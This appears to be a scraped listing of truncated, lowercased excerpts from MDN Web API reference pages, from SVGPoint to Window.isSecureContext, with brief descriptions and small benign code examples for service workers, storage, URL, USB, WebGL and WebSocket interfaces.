note: in svg 2 this property was moved to the svggeometryelement interface, from which the svgpathelement inherits it.
SVGPoint - Web APIs
WebAPISVGPoint
example // create an svgpoint in the user coordinate system let s = document.getelementbyid("svg-elementid").createsvgpoint(); // then, set the x and y values of the returned svgpoint object // (which is the variable `s`) s.y = 10; s.x = 10; ...
SVGSolidcolorElement - Web APIs
tyle="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgsolidcolorelement" target="_top"><rect x="1" y="1" width="200" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="101" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgsolidcolorelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties from its parent interface, svgelement.
SVGTRefElement - Web APIs
><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgtrefelement" target="_top"><rect x="1" y="1" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="71" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgtrefelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties from its parent, svgtextpositioningelement and implements properties from svgurireference.
SVGURIReference - Web APIs
><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgurireference" target="_top"><rect x="1" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="76" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgurireference</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties svgurireference.href read only an svganimatedstring that represents the value of the href attribute, and, on elements that are defined to support it, the deprecated xlink:href attribute.
SVGVKernElement - Web APIs
<svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgvkernelement" target="_top"><rect x="1" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="76" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgvkernelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties from its parent, svgelement.
Screen.availLeft - Web APIs
WebAPIScreenavailLeft
on windows, this property depends on which screen is set as your primary, returning the x coordinate of the leftmost available pixel relative to the primary screen.
Screen.colorDepth - Web APIs
WebAPIScreencolorDepth
syntax bitdepth = window.screen.colordepth; example // check the color depth of the screen if ( window.screen.colordepth < 8) { // use low-color version of page } else { // use regular, colorful page } specification specification status comment css object model (cssom) view modulethe definition of 'screen.colordepth' in that specification.
Screen.height - Web APIs
WebAPIScreenheight
widgets such as taskbars or other special application windows that integrate with the os (e.g., the spinner player minimized to act like an additional toolbar on windows) may reduce the amount of space available to browser windows and other applications.
Screen.pixelDepth - Web APIs
WebAPIScreenpixelDepth
syntax let depth = window.screen.pixeldepth example // if there is not adequate bit depth // choose a simpler color if ( window.screen.pixeldepth > 8 ) { document.style.color = "#faebd7"; } else { document.style.color = "#ffffff"; } specifications specification status comment css object model (cssom) view modulethe definition of 'screen.pixeldepth' in that specification.
Screen.width - Web APIs
WebAPIScreenwidth
syntax lwidth = window.screen.width example // crude way to check that the screen is at least 1024x768 if (window.screen.width >= 1024 && window.screen.height >= 768) { // resolution is 1024x768 or above } notes note that not all of the width given by this property may be available to the window itself.
SecurityPolicyViolationEvent.columnNumber - Web APIs
the columnnumber read-only property of the securitypolicyviolationevent interface is the column number in the document or worker at which the violation occurred.
SecurityPolicyViolationEvent.sample - Web APIs
syntax let sample = violationeventinstance.sample; value a domstring containing a sample of the resource that caused the violation, usually the first 40 characters.
Selection.collapse() - Web APIs
offset optional the offset in node to which the selection will be collapsed.
Selection.getRangeAt() - Web APIs
example let ranges = []; sel = window.getselection(); for(let i = 0; i < sel.rangecount; i++) { ranges[i] = sel.getrangeat(i); } /* each item in the ranges array is now * a range object representing one of the * ranges in the current selection */ specifications specification status comment selection apithe definition of 'selection: getrangeat()' in that specification.
Selection.rangeCount - Web APIs
select text in the browser to see it change.
Sensor.onactivate - Web APIs
WebAPISensoronactivate
the onactivate eventhandler is called when one of the sensor interface's child interfaces becomes active.
Sensor.onerror - Web APIs
WebAPISensoronerror
the onerror eventhandler is called when an error occurs on one of the child interfaces of the sensor interface.
Sensor.onreading - Web APIs
WebAPISensoronreading
the onreading eventhandler is called when a reading is taken on one of the child interfaces of the sensor interface.
SensorErrorEvent.SensorErrorEvent() - Web APIs
the sensorerrorevent constructor creates a new sensorerrorevent object which provides information about errors thrown by any of the interfaces based on sensor.
ServiceWorkerContainer.controller - Web APIs
example if ('serviceworker' in navigator) { // do a one-off check to see if a service worker's in control.
ServiceWorkerContainer.getRegistration() - Web APIs
the getregistration() method of the serviceworkercontainer interface gets a serviceworkerregistration object whose scope url matches the provided document url.
ServiceWorkerContainer: message event - Web APIs
bubbles no cancelable no interface messageevent event handler property onmessage examples in this example the service worker get the client's id from a fetch event and then sends it a message using client.postmessage: // in the service worker async function messageclient(clientid) { const client = await clients.get(clientid); client.postmessage('hi client!'); } addeventlistener('fetch', (event) => { messageclient(event.clientid); event.respondwith(() => { // ...
ServiceWorkerContainer.onmessage - Web APIs
(they used to be represented by serviceworkermessageevent objects, which have now been deprecated.) syntax serviceworkercontainer.onmessage = function(messageevent) { ...
ServiceWorkerGlobalScope: install event - Web APIs
bubbles no cancelable no interface extendableevent event handler property serviceworkerglobalscope.oninstall examples the following snippet shows how an install event handler can be used to populate a cache with a number of responses, which the service worker can then use to serve assets offline: this.addeventlistener('install', function(event) { event.waituntil( caches.open('v1').then(function(cache) { return cache.add( '/sw-test/', '/sw-test/index.html', '/sw-test/style.css', '/sw-test/app.js', '/sw-test/image-list.js', '/sw-test/star...
ServiceWorkerGlobalScope.oninstall - Web APIs
}; examples the following snippet shows how an install event handler can be used to populate a cache with a number of responses, which the service worker can then use to serve assets offline: this.addeventlistener('install', function(event) { event.waituntil( caches.open('v1').then(function(cache) { return cache.add( '/sw-test/', '/sw-test/index.html', '/sw-test/style.css', '/sw-test/app.js', '/sw-test/image-list.js', '/sw-test/star-wars-logo.jpg', '/sw-test/gall...
ServiceWorkerGlobalScope.onpush - Web APIs
the data payload of the push message is available in the event object's data property (pushevent.data, which contains a pushmessagedata object.) self.addeventlistener('push', function(event) { if (!(self.notification && self.notification.permission === 'granted')) { return; } var data = {}; if (event.data) { data = event.data.json(); } var title = data.title || "something has happened"; var message = data.message || "here's something you might want to check out."; var icon = "i...
ServiceWorkerGlobalScope.onsync - Web APIs
}) specifications specification web background synchronization ...
ServiceWorkerGlobalScope.registration - Web APIs
the registration read-only property of the serviceworkerglobalscope interface returns a reference to the serviceworkerregistration object, which represents the service worker's registration.
ServiceWorkerRegistration.index - Web APIs
the index read-only property of the serviceworkerregistration interface returns a reference to the contentindex interface, which allows for indexing of offline content.
ServiceWorkerRegistration.onupdatefound - Web APIs
the onupdatefound property of the serviceworkerregistration interface is an eventlistener property called whenever an event of type statechange is fired; it is fired any time the serviceworkerregistration.installing property acquires a new service worker.
ServiceWorkerRegistration.periodicSync - Web APIs
the periodicsync read-only property of the serviceworkerregistration interface returns a reference to the periodicsyncmanager interface, which manages periodic background synchronization processes.
ServiceWorkerRegistration.unregister() - Web APIs
rvice worker example, but then immediately unregisters it again: if ('serviceworker' in navigator) { navigator.serviceworker.register('/sw-test/sw.js', {scope: 'sw-test'}).then(function(registration) { // registration worked console.log('registration succeeded.'); registration.unregister().then(function(boolean) { // if boolean = true, unregister is successful }); }).catch(function(error) { // registration failed console.log('registration failed with ' + error); }); }; specifications specification status comment service workersthe definition of 'serviceworkerregistration.unregister()' in that specification.
ShadowRoot.host - Web APIs
WebAPIShadowRoothost
the host read-only property of the shadowroot returns a reference to the dom element the shadowroot is attached to.
SharedWorkerGlobalScope: connect event - Web APIs
the connecting port can be referenced through the event object's ports parameter; this reference can have an onmessage handler attached to it to handle messages coming in through the port, and its postmessage() method can be used to send messages back to the main thread using the worker.
SourceBuffer.appendBuffer() - Web APIs
syntax sourcebuffer.appendbuffer(source); parameters source a buffersource (that is, either an arraybufferview or arraybuffer) which contains the media segment data you want to add to the sourcebuffer.
SourceBuffer.appendWindowStart - Web APIs
the default value of appendwindowstart is the presentation start time, which is the beginning time of the playable media.
StaticRange.endContainer - Web APIs
syntax var node = staticnode.endcontainer staticnode.endcontainer = endcontainer value the dom node which contains the final character of the range.
StaticRange.endOffset - Web APIs
syntax var endoffset = staticrange.endoffset value an integer value indicating the number of characters into the node indicated by endcontainer at which the final character of the range is located.
StaticRange.startContainer - Web APIs
syntax var node = staticnode.startcontainer value the dom node inside which the start position of the range is found.
StaticRange.startOffset - Web APIs
syntax var startoffset = staticrange.startoffset value an integer value indicating the number of characters into the node indicated by startcontainer at which the first character of the range is located.
StereoPannerNode.pan - Web APIs
we then use an oninput event handler to change the value of the stereopannernode.pan parameter and update the pan value display when the slider is moved.
Storage.key() - Web APIs
WebAPIStoragekey
examples the following function iterates over the local storage keys: function foreachkey(callback) { for (var i = 0; i < localstorage.length; i++) { callback(localstorage.key(i)); } } the following function iterates over the local storage keys and gets the value set for each key: for(var i =0; i < localstorage.length; i++){ console.log(localstorage.getitem(localstorage.key(i))); } note: for a real world example, see our web storage demo.
Storage.setItem() - Web APIs
WebAPIStoragesetItem
(safari sets the quota to 0 bytes in private mode, unlike other browsers, which allow storage in private mode using separate data containers.) hence developers should make sure to always catch possible exceptions from setitem().
Storage - Web APIs
WebAPIStorage
if it doesn't, we run another function, populatestorage(), which uses storage.setitem() to set the item values, then runs setstyles().
StorageEstimate.quota - Web APIs
the storageestimate dictionary's quota property is a conservative approximation of how much storage is allotted to the origin or web app that called storagemanager.estimate(); there may be more space available, but there will not be less.
StylePropertyMapReadOnly.entries() - Web APIs
the stylepropertymapreadonly.entries() method returns an array of a given object's own enumerable property [key, value] pairs, in the same order as that provided by a for...in loop (the difference being that a for-in loop enumerates properties in the prototype chain as well).
StylePropertyMapReadOnly.keys() - Web APIs
the stylepropertymapreadonly.keys() method returns a new array iterator containing the keys for each item in stylepropertymapreadonly syntax stylepropertymapreadonly.keys() parameters none.
StylePropertyMapReadOnly.values() - Web APIs
the stylepropertymapreadonly.values() method returns a new array iterator containing the values for each index in the stylepropertymapreadonly object.
StyleSheet.disabled - Web APIs
working draft no change from document object model (dom) level 2 style specification.
StyleSheet.ownerNode - Web APIs
syntax noderef = stylesheet.ownernode example <html lang="en"> <head> <link rel="stylesheet" href="example.css"> </head> <body> <button onclick="alert(document.stylesheets[0].ownernode)">show example.css’s ownernode</button> </body> </html> // displays "object htmllinkelement" notes for style sheets that are included by other style sheets, such as with @import, the value of this property is null.
StyleSheet - Web APIs
working draft no change from document object model (dom) level 2 style specification.
StyleSheetList - Web APIs
examples get document stylesheet objects with for loop for (let i = 0; i < document.stylesheets.length; i++) { let stylesheet = document.stylesheets[i]; } get all css rules for the document using array methods const allcss = [...document.stylesheets] .map(stylesheet => { try { return [...stylesheet.cssrules] .map(rule => rule.csstext) .join(''); } catch (e) { console.log('access to stylesheet %s is denied.
SyncEvent.SyncEvent() - Web APIs
lastchance: a boolean indicating that the user agent will not make further synchronization attempts after the current attempt.
SyncEvent.tag - Web APIs
WebAPISyncEventtag
specifications specification status comment web background synchronizationthe definition of 'tag' in that specification.
SyncManager - Web APIs
specifications specification status comment web background synchronizationthe definition of 'syncmanager' in that specification.
TextDecoder.prototype.decode() - Web APIs
set to true if processing the data in chunks, and false for the final chunk or if the data is not chunked.
TimeRanges.end() - Web APIs
WebAPITimeRangesend
returns the time offset at which a specified time range ends.
TimeRanges.start() - Web APIs
WebAPITimeRangesstart
returns the time offset at which a specified time range begins.
TrackDefault - Web APIs
the trackdefault interface provides a sourcebuffer with kind, label, and language information for tracks that do not contain this information in the initialization segments of a media chunk.
TransitionEvent() - Web APIs
for an "animationstart" event, elapsedtime is 0.0 unless there was a negative value for animation-delay, in which case the event will be fired with elapsedtime containing (-1 * delay).
TreeWalker.filter - Web APIs
WebAPITreeWalkerfilter
living standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.filter' in that specification.
TreeWalker.root - Web APIs
WebAPITreeWalkerroot
living standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.root' in that specification.
UIEvent() - Web APIs
WebAPIUIEventUIEvent
sourcecapabilities: an instance of the inputdevicecapabilities interface which provides information about the physical device responsible for generating a touch event.
ULongRange - Web APIs
if no match can be found that is within the given range, an error will occur.
URL() - Web APIs
WebAPIURLURL
note: you can still use an existing url object for the base, which stringifies itself to the object's href property.
URL.host - Web APIs
WebAPIURLhost
examples let url = new url('/docs/web/api/url/host'); console.log(url.host); // "developer.mozilla.org" url = new url('https://developer.mozilla.org:443/docs/web/api/url/host'); console.log(url.host); // "developer.mozilla.org" // the port number is not included because 443 is the scheme's default port url = new url('https://developer.mozilla.org:4097/docs/web/api/url/host'); console.log(url.host); // "developer.mozilla.org:4097" specifications specification status comment urlthe definition of 'url.host' in that specification.
URL.origin - Web APIs
WebAPIURLorigin
the exact structure varies depending on the type of url: for http or https urls, the scheme followed by '://', followed by the domain, followed by ':', followed by the port (the default port, 80 and 443 respectively, if explicitely specified).
URL.protocol - Web APIs
WebAPIURLprotocol
the protocol property of the url interface is a usvstring representing the protocol scheme of the url, including the final ':'.
URL.revokeObjectURL() - Web APIs
the url.revokeobjecturl() static method releases an existing object url which was previously created by calling url.createobjecturl().
USB - Web APIs
WebAPIUSB
methods usb.getdevices() returns a promise that resolves with an array of usbdevice objects for paired attached devices.
USBConfiguration.USBConfiguration() - Web APIs
the usbconfiguration() constructor creates a new usbconfiguration object which contains information about the configuration on the provided usbdevice with the given configuration value.
USBConfiguration.interfaces - Web APIs
the interfaces read-only property of the usbconfiguration interface returns an array containing instances of the usbinterface describing each interface supported by this configuration.
USBDevice.controlTransferOut() - Web APIs
check with your device to see what the specific request requires.
USBDevice.deviceVersionMajor - Web APIs
the deviceversionmajor read only property of the usbdevice interface he major version number of the device in a semantic versioning scheme.
USBDevice.deviceVersionMinor - Web APIs
the deviceversionminor read only property of the usbdevice interface the minor version number of the device in a semantic versioning scheme.
USBDevice.deviceVersionSubminor - Web APIs
the deviceversionsubminor read only property of the usbdevice interface the patch version number of the device in a semantic versioning scheme.
USBDevice.opened - Web APIs
WebAPIUSBDeviceopened
what data can be passed to a usb device and how it is passed is particular and unique to each device.
USVString - Web APIs
WebAPIUSVString
unpaired surrogate codepoints present in usvstring are converted by the browser to unicode 'replacement character' u+fffd, (�).
validityState.badInput - Web APIs
recommendation no change from the previous snapshot html5.
ValidityState.rangeOverflow - Web APIs
when true, the element matches the :invalid and :out-of-range css pseudo-classes.
ValidityState.rangeUnderflow - Web APIs
when true, the element matches the :invalid and :out-of-range css pseudo-classes.
VideoConfiguration - Web APIs
see our web video codec guide for types which may be supported.
VideoPlaybackQuality.corruptedVideoFrames - Web APIs
example this example determines the percentage of frames which have been corrupted, and if the value is greater than 5%, calls a funciton called downgradevideo() that would be implemented to switch to a different video that might tax the network less.
VideoPlaybackQuality.creationTime - Web APIs
syntax value = videoplaybackquality.creationtime; value a domhighrestimestamp object which indicates the number of milliseconds that elapased between the time the browsing context was created and the time at which this sample of the video quality was obtained.
VideoPlaybackQuality.droppedVideoFrames - Web APIs
the read-only droppedvideoframes property of the videoplaybackquality interface returns the number of video frames which have been dropped rather than being displayed since the last time the media was loaded into the htmlvideoelement.
VideoPlaybackQuality.totalVideoFrames - Web APIs
var videoelem = document.getelementbyid("my_vid"); var quality = videoelem.getvideoplaybackquality(); if ((quality.corruptedvideoframes + quality.droppedvideoframes)/quality.totalvideoframes > 0.1) { lostframesthresholdexceeded(); } a similar algorithm might be used to attempt to switch to a lower-resolution video that requires less bandwidth, in order to avoid dropping frames.
VisualViewport.scale - Web APIs
the scale read-only property of the visualviewport interface returns the pinch-zoom scaling factor applied to the visual viewport.
WEBGL_color_buffer_float - Web APIs
ext.framebuffer_attachment_component_type_ext ?
WEBGL_compressed_texture_astc - Web APIs
availability: astc compression is typically available on mali arm gpus, intel gpus, and nividia tegra chips.
WEBGL_compressed_texture_atc - Web APIs
ext.compressed_rgb_atc_webgl compresses rgb textures with no alpha channel.
WEBGL_compressed_texture_etc1 - Web APIs
ext.compressed_rgb_etc1_webgl compresses 24-bit rgb data with no alpha channel.
WEBGL_debug_renderer_info - Web APIs
the webglrenderingcontext.getparameter() method can help you to detect which features are supported and the failifmajorperformancecaveat context attribute lets you control if a context should be returned at all, if the performance would be dramatically slow.
WEBGL_depth_texture - Web APIs
this extension extends webglrenderingcontext.framebuffertexture2d(): the attachment parameter now accepts gl.depth_stencil_attachment.
WakeLockSentinel.release() - Web APIs
you should always listen for the onrelease event to check if a wake lock has been released.
WakeLockSentinel.type - Web APIs
examples this example shows an asynchronous function that acquires a wakelocksentinel, then logs the type to the console.
WaveShaperNode.curve - Web APIs
for applied examples/information, check out our voice-change-o-matic demo (see app.js for relevant code).
WebGL2RenderingContext.bindBufferBase() - Web APIs
buffer a webglbuffer which to bind to the binding point (target).
WebGL2RenderingContext.bindBufferRange() - Web APIs
buffer a webglbuffer which to bind to the binding point (target).
WebGL2RenderingContext.bindSampler() - Web APIs
syntax void gl.bindsampler(unit, sampler); parameters unit a gluint specifying the index of the texture unit to which to bind the sampler to.
WebGL2RenderingContext.bindVertexArray() - Web APIs
// calls to bindbuffer or vertexattribpointer // which will be "recorded" in the vao // ...
WebGL2RenderingContext.createQuery() - Web APIs
the webgl2renderingcontext.createquery() method of the webgl 2 api creates and initializes webglquery objects, which provide ways to asynchronously query for information.
WebGL2RenderingContext.getIndexedParameter() - Web APIs
syntax any gl.getindexedparameter(target, index); parameters target a glenum specifying the target for which to return information.
WebGL2RenderingContext.getInternalformatParameter() - Web APIs
internalformat a glenum specifying the internal format about which to retrieve information (must be a color-renderable, depth-renderable or stencil-renderable format).
WebGL2RenderingContext.getQueryParameter() - Web APIs
pname a glenum specifying which information to return.
WebGL2RenderingContext.getSamplerParameter() - Web APIs
pname a glenum specifying which information to return.
WebGL2RenderingContext.texStorage2D() - Web APIs
gl.compressed_r11_eac gl.compressed_signed_r11_eac gl.compressed_rg11_eac gl.compressed_signed_rg11_eac gl.compressed_rgb8_etc2 gl.compressed_rgba8_etc2_eac gl.compressed_srgb8_etc2 gl.compressed_srgb8_alpha8_etc2_eac gl.compressed_rgb8_punchthrough_alpha1_etc2 gl.compressed_srgb8_punchthrough_alpha1_etc2 width a glsizei specifying the width of the texture.
WebGL2RenderingContext.texStorage3D() - Web APIs
gl.rgb9_e5 gl.rgb16f gl.rgb32f gl.rgb8ui gl.rgba8 gl.srgb_aplha8 gl.rgb5_a1 gl.rgba4444 gl.rgba16f gl.rgba32f gl.rgba8ui gl.compressed_r11_eac gl.compressed_signed_r11_eac gl.compressed_rg11_eac gl.compressed_signed_rg11_eac gl.compressed_rgb8_etc2 gl.compressed_rgba8_etc2_eac gl.compressed_srgb8_etc2 gl.compressed_srgb8_alpha8_etc2_eac gl.compressed_rgb8_punchthrough_alpha1_etc2 gl.compressed_srgb8_punchthrough_alpha1_etc2 width a glsizei specifying the width of the texture.
WebGL2RenderingContext.uniformBlockBinding() - Web APIs
uniformblockbinding a gluint specifying the binding point to which to bind the uniform block.
WebGL2RenderingContext.vertexAttribDivisor() - Web APIs
the webgl2renderingcontext.vertexattribdivisor() method of the webgl 2 api modifies the rate at which generic vertex attributes advance when rendering multiple instances of primitives with gl.drawarraysinstanced() and gl.drawelementsinstanced().
WebGLBuffer - Web APIs
the webglbuffer interface is part of the webgl api and represents an opaque buffer object storing data such as vertices or colors.
WebGLRenderingContext.activeTexture() - Web APIs
the webglrenderingcontext.activetexture() method of the webgl api specifies which texture unit to make active.
WebGLRenderingContext.bindFramebuffer() - Web APIs
examples binding a frame buffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var framebuffer = gl.createframebuffer(); gl.bindframebuffer(gl.framebuffer, framebuffer); getting current bindings to check the current frame buffer binding, query the framebuffer_binding constant.
WebGLRenderingContext.bindTexture() - Web APIs
examples binding a texture var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); getting current bindings to check the current texture binding, query the gl.texture_binding_2d or gl.texture_binding_cube_map constants.
WebGLRenderingContext.blendColor() - Web APIs
examples to set the blend color, use: gl.blendcolor(0, 0.5, 1, 1); to get the blend color, query the blend_color constant which returns a float32array.
WebGLRenderingContext.blendEquation() - Web APIs
examples to set the blend equation, use: gl.blendequation(gl.func_add); gl.blendequation(gl.func_subtract); gl.blendequation(gl.func_reverse_subtract); to get the blend equations, query the blend_equation, blend_equation_rgb and blend_equation_alpha constants which return gl.func_add, gl.func_subtract, gl.func_reverse_subtract, or if the ext_blend_minmax is enabled: ext.min_ext or ext.max_ext.
WebGLRenderingContext.blendEquationSeparate() - Web APIs
examples to set the blend equations, use: gl.blendequationseparate(gl.func_add, gl.func_subtract); to get the current blend equations, query the blend_equation, blend_equation_rgb and blend_equation_alpha constants which return gl.func_add, gl.func_subtract, gl.func_reverse_subtract, or if the ext_blend_minmax is enabled: ext.min_ext or ext.max_ext.
WebGLRenderingContext.bufferSubData() - Web APIs
possible values: gl.array_buffer: buffer containing vertex attributes, such as vertex coordinates, texture coordinate data, or vertex color data.
WebGLRenderingContext.clearColor() - Web APIs
examples gl.clearcolor(1, 0.5, 0.5, 3); to get the current clear color, query the color_clear_value constant which returns a float32array.
WebGLRenderingContext.createProgram() - Web APIs
examples creating a webgl program var program = gl.createprogram(); // attach pre-existing shaders gl.attachshader(program, vertexshader); gl.attachshader(program, fragmentshader); gl.linkprogram(program); if ( !gl.getprogramparameter( program, gl.link_status) ) { var info = gl.getprograminfolog(program); throw 'could not compile webgl program.
WebGLRenderingContext.createRenderbuffer() - Web APIs
return value a webglrenderbuffer object that stores data such an image, or can be source or target of an rendering operation.
WebGLRenderingContext.createTexture() - Web APIs
return value a webgltexture object to which images can be bound to.
WebGLRenderingContext.cullFace() - Web APIs
gl.enable(gl.cull_face); gl.cullface(gl.front_and_back); to check the current cull face mode, query the cull_face_mode constant.
WebGLRenderingContext.depthMask() - Web APIs
examples gl.depthmask(false); to get the current depth mask, query the depth_writemask constant which returns a boolean.
WebGLRenderingContext.depthRange() - Web APIs
examples gl.depthrange(0.2, 0.6); to check the current depth range, query the depth_range constant which returns a float32array gl.getparameter(gl.depth_range); // float32array[0.2, 0.6] specifications specification status comment webgl 1.0the definition of 'depthrange' in that specification.
WebGLRenderingContext.drawingBufferHeight - Web APIs
it should match the height attribute of the <canvas> element associated with this context, but might differ if the implementation is not able to provide the requested height.
WebGLRenderingContext.drawingBufferWidth - Web APIs
it should match the width attribute of the <canvas> element associated with this context, but might differ if the implementation is not able to provide the requested width.
WebGLRenderingContext.enableVertexAttribArray() - Web APIs
errors to check for errors after calling enablevertexattribarray(), call geterror().
WebGLRenderingContext.getBufferParameter() - Web APIs
possible values: gl.array_buffer: buffer containing vertex attributes, such as vertex coordinates, texture coordinate data, or vertex color data.
WebGLRenderingContext.getContextAttributes() - Web APIs
id('canvas'); var gl = canvas.getcontext('webgl'); gl.getcontextattributes(); the getcontextattributes method returns an object that describes the attributes set on this context, for example: { alpha: true, antialias: true, depth: true, failifmajorperformancecaveat: false, powerpreference: "default", premultipliedalpha: true, preservedrawingbuffer: false, stencil: false, desynchronized: false } the context attributes can be set when creating the context using the htmlcanvaselement.getcontext() method: canvas.getcontext('webgl', { antialias: false, depth: false }); see getcontext() for more information about the individual attributes.
WebGLRenderingContext.getExtension() - Web APIs
return value a webgl extension object, or null if name does not match (case-insensitive) to one of the strings in webglrenderingcontext.getsupportedextensions.
WebGLRenderingContext.getProgramInfoLog() - Web APIs
examples checking program errors var program = gl.createprogram(); // attach pre-existing shaders gl.attachshader(program, vertexshader); gl.attachshader(program, fragmentshader); gl.linkprogram(program); gl.getprograminfolog(program); specifications specification status comment webgl 1.0the definition of 'getprograminfolog' in that specification.
WebGLRenderingContext.getProgramParameter() - Web APIs
gl.attached_shaders: returns a glint indicating the number of attached shaders to a program.
WebGLRenderingContext.getShaderInfoLog() - Web APIs
examples checking compilation messages /* load shader source code.
WebGLRenderingContext.getVertexAttribOffset() - Web APIs
pname a glenum which must be gl.vertex_attrib_array_pointer.
WebGLRenderingContext.hint() - Web APIs
syntax void gl.hint(target, mode); parameters target sets which behavior to be controlled.
WebGLRenderingContext.isBuffer() - Web APIs
syntax glboolean gl.isbuffer(buffer); parameters buffer a webglbuffer to check.
WebGLRenderingContext.isEnabled() - Web APIs
syntax glboolean gl.isenabled(cap); parameters cap a glenum specifying which webgl capability to test.
WebGLRenderingContext.lineWidth() - Web APIs
as of january 2017 most implementations of webgl only support a minimum of 1 and a maximum of 1 as the technology they are based on has these same limits.
WebGLRenderingContext.linkProgram() - Web APIs
examples var program = gl.createprogram(); // attach pre-existing shaders gl.attachshader(program, vertexshader); gl.attachshader(program, fragmentshader); gl.linkprogram(program); if ( !gl.getprogramparameter( program, gl.link_status) ) { var info = gl.getprograminfolog(program); throw new error('could not compile webgl program.
WebGLRenderingContext.shaderSource() - Web APIs
syntax void gl.shadersource(shader, source); parameters shader a webglshader object in which to set the source code.
WebGLRenderingContext.stencilFunc() - Web APIs
it is typically used in multipass rendering to achieve special effects.
WebGLRenderingContext.stencilFuncSeparate() - Web APIs
it is typically used in multipass rendering to achieve special effects.
WebGLRenderingContext.uniform[1234][fi][v]() - Web APIs
many of the functions described here have expanded webgl 2 interfaces, which can be found under webgl2renderingcontext.uniform[1234][uif][v]().
WebGLRenderingContext.useProgram() - Web APIs
examples var program = gl.createprogram(); // attach pre-existing shaders gl.attachshader(program, vertexshader); gl.attachshader(program, fragmentshader); gl.linkprogram(program); gl.useprogram(program); specifications specification status comment webgl 1.0the definition of 'useprogram' in that specification.
WebGLSync - Web APIs
WebAPIWebGLSync
the webglsync interface is part of the webgl 2 api and is used to synchronize activities between the gpu and the application.
WebGLTransformFeedback - Web APIs
the webgltransformfeedback interface is part of the webgl 2 api and enables transform feedback, which is the process of capturing primitives generated by vertex processing.
WebGLVertexArrayObject - Web APIs
// calls to bindbuffer or vertexattribpointer // which will be "recorded" in the vao // ...
Boilerplate 1 - Web APIs
finally, all javascript code will run within an immediate function, which is a common javascript technique (see function).
Textures from code - Web APIs
vertex-shader").innerhtml; var vertexshader = gl.createshader(gl.vertex_shader); gl.shadersource(vertexshader,source); gl.compileshader(vertexshader); source = document.queryselector("#fragment-shader").innerhtml var fragmentshader = gl.createshader(gl.fragment_shader); gl.shadersource(fragmentshader,source); gl.compileshader(fragmentshader); program = gl.createprogram(); gl.attachshader(program, vertexshader); gl.attachshader(program, fragmentshader); gl.linkprogram(program); gl.detachshader(program, vertexshader); gl.detachshader(program, fragmentshader); gl.deleteshader(vertexshader); gl.deleteshader(fragmentshader); if (!gl.getprogramparameter(program, gl.link_status)) { var linkerrlog = gl.getprograminfolog(program); cleanup(); document.querys...
WebGL by example - Web APIs
sometimes we revisit a topic several times, such as when needing to discuss it initially at a basic level, and later at intermediate and advanced levels.
WebGL tutorial - Web APIs
in order to draw graphics on the canvas we use a javascript context object, which creates graphics on the fly.
WebRTC coding guide - Web APIs
if you need to learn more about the fundamentals of how webrtc and its protocols work, check out our high-level guides for webrtc.
WebSocket.close() - Web APIs
WebAPIWebSocketclose
this string must be no longer than 123 bytes of utf-8 text (not characters).
WebSocket.onclose - Web APIs
WebAPIWebSocketonclose
the websocket.onclose property is an eventhandler that is called when the websocket connection's readystate changes to closed.
WebSocket.onopen - Web APIs
WebAPIWebSocketonopen
the websocket.onopen property is an eventhandler that is called when the websocket connection's readystate changes to 1; this indicates that the connection is ready to send and receive data.
WebSocket - Web APIs
WebAPIWebSocket
also available via the onclose property error fired when a connection with a websocket has been closed because of an error, such as when some data couldn't be sent.
Tools for analyzing Web Audio usage - Web APIs
chrome a handy web audio inspector can be found in the chrome web store.
Window.alert() - Web APIs
WebAPIWindowalert
example window.alert("hello world!"); alert("hello world!"); both produce: notes the alert dialog should be used for messages which do not require any response on the part of the user, other than the acknowledgement of the message.
Window: animationcancel event - Web APIs
this might happen when the animation-name is changed such that the animation is removed, or when the animating node is hidden using css.
Window: animationend event - Web APIs
if the animation aborts before reaching completion, such as if the element is removed from the dom or the animation is removed from the element, the animationend event is not fired.
Window: blur event - Web APIs
WebAPIWindowblur event
bubbles no cancelable no interface focusevent event handler property onblur sync / async sync composed yes examples live example this example changes the appearance of a document when it loses focus.
Window.console - Web APIs
WebAPIWindowconsole
the window.console property returns a reference to the console object, which provides methods for logging information to the browser's console.
Window.crypto - Web APIs
WebAPIWindowcrypto
although the property itself is read-only, all of its methods (and the methods of its child object, subtlecrypto) are not read-only, and therefore vulnerable to attack by polyfill.
Window: focus event - Web APIs
bubbles no cancelable no interface focusevent event handler property onfocus sync / async sync composed yes examples live example this example changes the appearance of a document when it loses focus.
Window.isSecureContext - Web APIs
